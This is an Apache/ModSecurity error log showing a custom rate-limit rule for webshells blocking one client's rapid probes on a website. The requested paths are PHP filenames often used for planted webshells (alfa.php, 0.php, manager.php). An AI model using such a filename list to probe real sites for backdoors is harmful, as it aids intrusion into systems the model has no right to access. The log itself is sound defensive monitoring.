[Wed Dec 17 04:09:08.216146 2025] [:error] [pid 61380:tid 61445] [client 135.235.159.29:6330] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aUG8ZFDXNylu9SqhT6oMLAAAAIc"]
[Wed Dec 17 04:09:08.606505 2025] [:error] [pid 61472:tid 61479] [client 135.235.159.29:53784] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aUG8ZBAY-vW9raLQk19UAwAAAMU"]
[Wed Dec 17 04:09:09.468184 2025] [:error] [pid 61472:tid 61483] [client 135.235.159.29:55167] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aUG8ZRAY-vW9raLQk19UBgAAAMk"]
[Wed Dec 17 04:09:10.449074 2025] [:error] [pid 61379:tid 61421] [client 135.235.159.29:6291] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aUG8ZlX4E86rnrNa_8NrSgAAAEo"]
[Wed Dec 17 04:09:11.136128 2025] [:error] [pid 61472:tid 61495] [client 135.235.159.29:57959] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aUG8ZxAY-vW9raLQk19UCwAAANU"]
[Wed Dec 17 04:09:11.856600 2025] [:error] [pid 61380:tid 61455] [client 135.235.159.29:6671] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aUG8Z1DXNylu9SqhT6oMOQAAAJE"]
[Wed Dec 17 04:09:13.352512 2025] [:error] [pid 61379:tid 61428] [client 135.235.159.29:6680] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aUG8aVX4E86rnrNa_8NrTQAAAFE"]
[Wed Dec 17 04:09:14.865063 2025] [:error] [pid 61472:tid 61489] [client 135.235.159.29:46961] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aUG8ahAY-vW9raLQk19UHAAAAM8"]
[Wed Dec 17 04:09:15.495840 2025] [:error] [pid 61472:tid 61476] [client 135.235.159.29:43932] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aUG8axAY-vW9raLQk19UHwAAAMI"]
[Wed Dec 17 04:09:16.497218 2025] [:error] [pid 61472:tid 61496] [client 135.235.159.29:6322] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aUG8bBAY-vW9raLQk19UKAAAANY"]
[Wed Dec 17 04:09:17.336777 2025] [:error] [pid 61378:tid 61390] [client 135.235.159.29:53808] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aUG8bR5G6F9PXKmYDCSGcAAAAAc"]
[Wed Dec 17 04:09:18.148843 2025] [:error] [pid 61378:tid 61389] [client 135.235.159.29:43057] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aUG8bh5G6F9PXKmYDCSGdgAAAAY"]
[Wed Dec 17 04:09:20.346931 2025] [:error] [pid 61380:tid 61448] [client 135.235.159.29:65252] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aUG8cFDXNylu9SqhT6oMRAAAAIo"]
[Wed Dec 17 04:09:21.082087 2025] [:error] [pid 61380:tid 61452] [client 135.235.159.29:65275] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUG8cVDXNylu9SqhT6oMRwAAAI4"]
[Wed Dec 17 04:09:22.081313 2025] [:error] [pid 61380:tid 61446] [client 135.235.159.29:65233] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUG8clDXNylu9SqhT6oMSQAAAIg"]
[Wed Dec 17 04:09:22.590714 2025] [:error] [pid 61380:tid 61456] [client 135.235.159.29:56559] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUG8clDXNylu9SqhT6oMSwAAAJI"]
[Wed Dec 17 04:09:23.831424 2025] [:error] [pid 61379:tid 61422] [client 135.235.159.29:55125] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUG8c1X4E86rnrNa_8NrWgAAAEs"]
[Wed Dec 17 04:09:25.230261 2025] [:error] [pid 61472:tid 61478] [client 135.235.159.29:53771] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUG8dRAY-vW9raLQk19UQwAAAMQ"]
[Wed Dec 17 04:09:26.337887 2025] [:error] [pid 61379:tid 61412] [client 135.235.159.29:43923] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUG8dlX4E86rnrNa_8NrXgAAAEE"]
[Wed Dec 17 04:09:28.526215 2025] [:error] [pid 61380:tid 61458] [client 135.235.159.29:43040] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUG8eFDXNylu9SqhT6oMWgAAAJQ"]
[Wed Dec 17 04:09:29.863444 2025] [:error] [pid 61472:tid 61496] [client 135.235.159.29:43062] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUG8eRAY-vW9raLQk19UTwAAANY"]
[Wed Dec 17 04:09:31.324735 2025] [:error] [pid 61378:tid 61385] [client 135.235.159.29:55156] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUG8ex5G6F9PXKmYDCSGhgAAAAI"]
[Wed Dec 17 04:09:32.803755 2025] [:error] [pid 61472:tid 61485] [client 135.235.159.29:6313] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUG8fBAY-vW9raLQk19UWAAAAMs"]
[Wed Dec 17 04:09:33.577530 2025] [:error] [pid 61378:tid 61386] [client 135.235.159.29:53785] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUG8fR5G6F9PXKmYDCSGiQAAAAM"]
[Wed Dec 17 04:09:33.984345 2025] [:error] [pid 61378:tid 61402] [client 135.235.159.29:43034] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUG8fR5G6F9PXKmYDCSGigAAABM"]
[Wed Dec 17 04:09:34.490352 2025] [:error] [pid 61378:tid 61404] [client 135.235.159.29:43063] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUG8fh5G6F9PXKmYDCSGiwAAABU"]
[Wed Dec 17 04:10:21.051893 2025] [:error] [pid 61380:tid 61453] [client 135.235.159.29:56520] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aUG8rVDXNylu9SqhT6oMuQAAAI8"]
[Wed Dec 17 04:10:22.938201 2025] [:error] [pid 61380:tid 61439] [client 135.235.159.29:45398] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aUG8rlDXNylu9SqhT6oMwAAAAIE"]
[Wed Dec 17 04:10:23.656165 2025] [:error] [pid 61379:tid 61413] [client 135.235.159.29:46941] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aUG8r1X4E86rnrNa_8NryQAAAEI"]
[Wed Dec 17 04:10:25.231194 2025] [:error] [pid 61472:tid 61489] [client 135.235.159.29:6388] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aUG8sRAY-vW9raLQk19U5wAAAM8"]
[Wed Dec 17 04:10:26.701299 2025] [:error] [pid 61380:tid 61439] [client 135.235.159.29:43053] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aUG8slDXNylu9SqhT6oMzAAAAIE"]
[Wed Dec 17 04:10:28.925408 2025] [:error] [pid 61378:tid 61402] [client 135.235.159.29:45418] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aUG8tB5G6F9PXKmYDCSG_wAAABM"]
[Wed Dec 17 04:10:30.490682 2025] [:error] [pid 61379:tid 61420] [client 135.235.159.29:45387] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aUG8tlX4E86rnrNa_8Nr0gAAAEk"]
[Wed Dec 17 04:10:31.202062 2025] [:error] [pid 61380:tid 61447] [client 135.235.159.29:43045] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aUG8t1DXNylu9SqhT6oM0QAAAIk"]
[Wed Dec 17 04:10:31.636376 2025] [:error] [pid 61472:tid 61493] [client 135.235.159.29:51762] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aUG8txAY-vW9raLQk19U9AAAANM"]
[Wed Dec 17 04:10:32.913023 2025] [:error] [pid 61379:tid 61411] [client 135.235.159.29:45105] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aUG8uFX4E86rnrNa_8Nr1AAAAEA"]
[Wed Dec 17 04:10:34.280826 2025] [:error] [pid 61380:tid 61450] [client 135.235.159.29:53778] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aUG8ulDXNylu9SqhT6oM1AAAAIw"]
[Wed Dec 17 04:10:36.128721 2025] [:error] [pid 61472:tid 61491] [client 135.235.159.29:6357] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aUG8vBAY-vW9raLQk19VAwAAANE"]
[Wed Dec 17 04:10:36.928671 2025] [:error] [pid 61380:tid 61448] [client 135.235.159.29:65247] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aUG8vFDXNylu9SqhT6oM2wAAAIo"]
[Wed Dec 17 04:10:37.699960 2025] [:error] [pid 61380:tid 61451] [client 135.235.159.29:7106] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aUG8vVDXNylu9SqhT6oM3gAAAI0"]
[Wed Dec 17 04:10:39.020168 2025] [:error] [pid 61380:tid 61442] [client 135.235.159.29:7120] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aUG8v1DXNylu9SqhT6oM4gAAAIQ"]
[Wed Dec 17 04:10:39.997678 2025] [:error] [pid 61379:tid 61427] [client 135.235.159.29:45084] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aUG8v1X4E86rnrNa_8Nr3AAAAFA"]
[Wed Dec 17 04:10:41.241721 2025] [:error] [pid 61378:tid 61383] [client 135.235.159.29:6371] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aUG8wR5G6F9PXKmYDCSHHAAAAAA"]
[Wed Dec 17 04:10:41.875610 2025] [:error] [pid 61379:tid 61419] [client 135.235.159.29:45386] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aUG8wVX4E86rnrNa_8Nr4wAAAEg"]
[Wed Dec 17 04:10:42.688768 2025] [:error] [pid 61379:tid 61416] [client 135.235.159.29:52280] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aUG8wlX4E86rnrNa_8Nr5gAAAEU"]
[Wed Dec 17 04:10:43.643032 2025] [:error] [pid 61380:tid 61446] [client 135.235.159.29:6372] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aUG8w1DXNylu9SqhT6oM8wAAAIg"]
[Wed Dec 17 04:10:44.474058 2025] [:error] [pid 61472:tid 61483] [client 135.235.159.29:51765] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUG8xBAY-vW9raLQk19VDwAAAMk"]
[Wed Dec 17 04:10:45.557254 2025] [:error] [pid 61472:tid 61475] [client 135.235.159.29:7158] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUG8xRAY-vW9raLQk19VFQAAAME"]
[Wed Dec 17 04:10:46.947113 2025] [:error] [pid 61380:tid 61452] [client 135.235.159.29:45424] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUG8xlDXNylu9SqhT6oM_gAAAI4"]
[Wed Dec 17 04:10:47.693999 2025] [:error] [pid 61378:tid 61385] [client 135.235.159.29:46956] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUG8xx5G6F9PXKmYDCSHIgAAAAI"]
[Wed Dec 17 04:10:48.775902 2025] [:error] [pid 61380:tid 61447] [client 135.235.159.29:51774] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aUG8yFDXNylu9SqhT6oNAgAAAIk"]
[Wed Dec 17 04:10:50.180291 2025] [:error] [pid 61379:tid 61419] [client 135.235.159.29:49081] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aUG8ylX4E86rnrNa_8Nr8gAAAEg"]
[Wed Dec 17 04:10:50.815503 2025] [:error] [pid 61472:tid 61489] [client 135.235.159.29:6382] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aUG8yhAY-vW9raLQk19VJwAAAM8"]
[Wed Dec 17 04:10:51.843482 2025] [:error] [pid 61379:tid 61420] [client 135.235.159.29:7116] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aUG8y1X4E86rnrNa_8Nr9AAAAEk"]
[Wed Dec 17 04:10:53.598446 2025] [:error] [pid 61472:tid 61484] [client 135.235.159.29:45087] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUG8zRAY-vW9raLQk19VNQAAAMo"]
[Wed Dec 17 04:10:54.420645 2025] [:error] [pid 61472:tid 61476] [client 135.235.159.29:45433] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUG8zhAY-vW9raLQk19VPQAAAMI"]
[Wed Dec 17 04:10:55.932425 2025] [:error] [pid 61380:tid 61459] [client 135.235.159.29:52274] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUG8z1DXNylu9SqhT6oNFAAAAJU"]
